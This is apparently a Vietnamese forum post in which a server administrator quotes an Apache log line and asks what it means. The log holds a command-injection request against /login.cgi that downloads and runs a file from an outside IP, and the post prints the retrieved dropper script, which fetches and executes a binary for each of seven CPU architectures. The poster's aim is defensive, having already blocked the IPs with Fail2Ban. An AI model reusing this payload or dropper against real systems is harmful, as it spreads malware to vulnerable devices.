Tôi đã nhận thấy trên nhật ký apache máy chủ của tôi, những dòng lạ sau đây:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Vì vậy, tôi đã tạo bộ lọc Fail2Ban tùy chỉnh và bắt đầu cấm các IP yêu cầu các URL /login.cgi này.
Nhưng tôi tò mò không biết họ đang cố gắng làm gì, vì vậy tôi đã rút ra kịch bản mà họ đang cố thực hiện và dường như tôi không thể biết chính xác nó làm gì. Một cái gì đó về việc loại bỏ các thư mục vòm trong / var và / tmp?
Dù sao, đây là:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
nơi $name
là mỗi người trong số các kiến trúc CPU trong bin_names
. Vì vậy, 7 tập lệnh tấn công sẽ được tải xuống và thực thi